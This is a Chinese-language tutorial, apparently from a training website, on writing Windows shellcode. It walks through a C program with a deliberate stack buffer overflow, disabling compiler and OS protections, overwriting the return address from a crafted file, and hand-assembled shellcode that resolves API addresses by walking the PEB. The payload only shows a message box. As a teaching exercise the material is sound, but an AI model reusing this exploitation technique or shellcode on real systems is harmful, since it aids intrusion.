摘要:本文主要向大家介绍了C/C++知识点之shellcode入门(win),通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。
本文主要向大家介绍了C/C++知识点之shellcode入门(win),通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。
重要的事情说下,搞windows安全一定要用win电脑实体机。我用的mac出现很多bug 好多函数地址获取不到。因此写shellcode 一定要注意平台
1。先写个有缓冲区溢出的代码
// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。//#include ""stdafx.h""#include<windows.h>#define PASSWORD ""allen""int VerifyPassword(char *pszPassword, int nSize) { char szBuffer[50]; memcpy(szBuffer, pszPassword, nSize); return strcmp(PASSWORD, szBuffer); }int _tmain(int argc, _TCHAR* argv[]) { int nFlag = 0; char szPassword[0x200]; FILE *fp; LoadLibraryA(""user32.dll""); if (NULL == (fp = fopen(""password.txt"", ""rb""))) { MessageBoxA(NULL, ""打开文件失败"", ""error"", NULL); exit(0); } fread(szPassword, sizeof(szPassword), 1, fp); nFlag = VerifyPassword(szPassword, sizeof(szPassword)); if (nFlag) printf(""密码错误\n""); else printf(""密码正确\n""); fclose(fp); system(""pause""); return 0; } 要关掉几个东西1。禁用安全检查 (/GS-) ![](//i2.51cto.com/images/blog/201806/04/96dbe0d026ab95e35d2f6cc1df2a5959.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)2。关掉随机基址与固定基址 ![](//i2.51cto.com/images/blog/201806/04/a121262ee1197272ab5e3d1f1cbc9da2.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)3。禁用内联函数 ![](//i2.51cto.com/images/blog/201806/04/f6bce8ddaceb83c682fcd8fe4088c87a.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)4关闭dep ![](//i2.51cto.com/images/blog/201806/04/1eaed1d3a8c3a0872f6a7e97d06f1091.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
这里很定有溢出
写一些好记的数字用于区分溢出地址
password.txt
A8A9B8B9C8C9D8D9E8E9F8F9G8G9H8H9I8I9J8J9K8K9L8L9N8N9M8M90000P8P9Q8Q9R8R9S8S9T8T9U8U9V8V9W8W9X8X9Y8Y9Z8Z9
三运行程序出现 溢出
但是在win10下有点恶心 要在日志里看溢出地址
1。打开控制面版 找到管理工具
打开 事件查看器
打开win日志
打开应用程序 找到相应的出错程序
在od中找到MessageBoxA地址放到那 后面填上20个0(4个参数加上一个返回值 为什么会有5个原因是有一个为返回值)
运行程序
现在开始用代码写个只能这本地运程的shellcode(相关 函数地址要自己在od里找然后写上)
#include <windows.h>int main() { LoadLibraryA(""user32.dll""); __asm { sub esp, 0x60; //抬高栈帧 jmp tag_Shellcode; //前置代码,避免后面的数据被解释为指令 //[tag_Next-0x1A] MessageBoxA Address _asm _emit(0xb0) _asm _emit(0xf8) _asm _emit(0x56) _asm _emit(0x76) //[tag_Next-0x16] ExitProcess Address _asm _emit(0xe0) _asm _emit(0x3b) _asm _emit(0xa7) _asm _emit(0x75) //[tag_Next-0x12] ""Hello World!\0"" _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F) _asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21) _asm _emit(0x00) tag_Shellcode: call tag_Next; tag_Next: pop esi; // GetPC xor edx, edx; // 将EDX清零 lea edi, [esi - 0x12]; // 获取字符串地址 mov eax, [esi - 0x1A]; // 获取MessageBoxA地址 push edx; // /-uType push edi; // |-lpCaption push edi; // |-lpText push edx; // |-hWnd call eax; // MessageBoxA mov eax, [esi - 0x16]; // 获取ExitProcess地址 push edx; // *-uExitCode call eax; // ExitProcess*/ } return 0; }
运行
现在用dbg 把opcode复制下来
sub esp, 0x60; 到call eax;
对应地址
#include <windows.h>int main(){ LoadLibraryA(""user32.dll""); char bShellcode[] = { ""\x83\xEC\x60\xEB\x15\xB0\xF8\x56\x76\xE0\x3B\xA7\x75\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5E\x33\xD2\x8D\x7E\xEE\x8B\x46\xE6\x52\x57\x57\x52\xFF\xD0\x8B\x46\xEA\x52\xFF\xD0"" }; __asm { lea eax, bShellcode; push eax; ret } return 0; }
运行
开始放入文件
找到它要复制的地址 (也就是eax的值 )
执行拷贝函数后 就出现了溢出把返回值改了
成功
这里也写了真正的shellcode
// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。//#include ""stdafx.h""int _tmain(int argc, _TCHAR* argv[]) { __asm { pushad; sub esp, 0x100; jmp tag_Shellcode; //[tag_Next-0x52] ""GetProcAddress"" _asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41) _asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00) //[tag_Next-0x44] ""LoadLibraryExA\0"" _asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64) _asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72) _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00) //[tag_Next-0x35] ""User32.dll\0"" _asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72) _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64) _asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00) //[tag_Next-0x2A] ""MessageBoxA\0"" _asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42) _asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00) //[tag_Next-0x1E] ""ExitProcess\0"" _asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74) _asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00) //[tag_Next-0x12] ""Hello World!\0"" _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f) _asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21) _asm _emit(0x00) tag_Shellcode: call tag_Next; tag_Next: pop ebx; //获取关键模块基址 mov esi, dword ptr fs : [0x30]; mov esi, [esi + 0x0c]; mov esi, [esi + 0x1c]; mov esi, [esi]; mov edx, [esi + 0x08]; //获取GetProcAddress的函数地址 push ebx; push edx; call fun_GetProcAddress; mov esi, eax; //获取LoadLibraryExA的函数地址 push edx; lea ecx, [ebx - 0x44]; push ecx; push edx; call eax; pop edx; //调用Payload部分 push ebx; push esi; push eax; push edx; call fun_Payload; fun_GetProcAddress: push ebp; mov ebp, esp; sub esp, 0x0c; push edx; //获取EAT、ENT和EOT的地址 mov edx, [ebp + 0x08]; mov esi, [edx + 0x3c]; lea esi, [edx + esi]; mov esi, [esi + 0x78]; lea esi, [edx + esi]; mov edi, [esi + 0x1c]; lea edi, [edx + edi]; mov[ebp - 0x04], edi; mov edi, [esi + 0x20]; lea edi, [edx + edi]; mov[ebp - 0x08], edi; mov edi, [esi + 0x24]; lea edi, [edx + edi]; mov[ebp - 0x0c], edi; //循环对比ENT中的函数名 xor eax, eax; jmp tag_FirstCmp; tag_CmpFunNameLoop: inc eax; tag_FirstCmp: mov esi, [ebp - 0x08]; mov esi, [esi + 4 * eax]; mov edx, [ebp + 0x08]; lea esi, [edx + esi]; mov ebx, [ebp + 0x0c]; lea edi, [ebx - 0x53]; mov ecx, 0x0e; cld; repe cmpsb; jne tag_CmpFunNameLoop; //成功后找到对应的序号 mov esi, [ebp - 0x0c]; xor edi, edi; mov di, [esi + eax * 2]; //使用序号作为索引,找到函数名所对应的函数地址 mov edx, [ebp - 0x04]; mov esi, [edx + edi * 4]; mov edx, [ebp + 0x08]; //返回获取到的关键函数地址 lea eax, [edx + esi]; pop edx; mov esp, ebp; pop ebp; retn 0x08; fun_Payload: push ebp; mov ebp, esp; sub esp, 0x08; mov ebx, [ebp + 0x14]; //获取MessageBoxA的函数地址 lea ecx, [ebx - 0x35]; push 0; push 0; push ecx; call[ebp + 0x0c]; lea ecx, [ebx - 0x2A]; push ecx; push eax; call[ebp + 0x10]; mov[ebp - 0x04], eax; //获取ExitProcess的函数地址 lea ecx, [ebx - 0x1E]; push ecx; push[ebp + 0x08]; call[ebp + 0x10]; mov[ebp - 0x08], eax; //显示 lea ecx, [ebx - 0x12]; push 0; push ecx; push ecx; push 0; call[ebp - 0x04]; push 0; call[ebp - 0x08]; mov esp, ebp; pop ebp; retn 0x10; } return 0; }
本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!
您输入的评论内容中包含违禁敏感词
我知道了
请输入正确的手机号码
请输入正确的验证码
您今天的短信下发次数太多了,明天再试试吧!
我们会在第一时间安排职业规划师联系您!
您也可以联系我们的职业规划师咨询:
版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
沪公网安备 31011502005948号